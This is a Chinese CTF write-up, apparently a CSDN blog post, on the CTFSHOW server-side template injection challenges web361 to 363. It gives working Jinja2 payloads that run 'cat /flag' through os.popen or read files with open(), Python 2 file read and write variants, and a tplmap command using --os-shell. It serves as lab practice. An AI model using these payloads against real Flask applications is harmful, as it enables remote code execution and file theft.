【CTFSHOW】web入门 SSTI(更新中)

引言

刷完SSRF、XSS,来学学SSTI

web361

首先测试出get的参数名为:name。

记得之前刷题时保存过一张大佬总结的测试流程图:

测试模块

根据图片规则进行测试:

?name={{ 1*'4' }}

返回结果:4

则题目考察的很有可能是基于Jinja2的flask框架。

payload:

  • 对于python3:(题目使用的是python3)

使用popen函数:

?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}

或者使用open函数直接打开文件:

?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/flag', 'r').read() }}{% endif %}{% endfor %}
  • 对于python2:(没有亲自试验过)
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/flag').read() }} // 读文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('./1.py').write() }} // 写文件 
  • tplmap:

当然,我们也可以使用tplmap扫描工具获取flag:

工具下载地址:

git clone https://github.com/epinna/tplmap

执行以下命令获取可使用的权限

python tplmap.py -u 'http://64153a9f-d2f7-464a-a1b7-b399f16a6cd6.challenge.ctf.show:8080/?name=1'

权限:

SSTIweb361tplmap权限

添加 --os-shell 参数运行:

SSTIweb361tplmap

得到flag:

SSTIweb361tplmapflag

web362

这题添加了过滤,tplmap工具显示无法注入。

但直接注还是可以的。

payload:

?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}

web363

这次之前的payload都不管用了

参考资料

SSTI (服务器模板注入)

SSTI/沙盒逃逸详细总结

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

TurkeyMan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值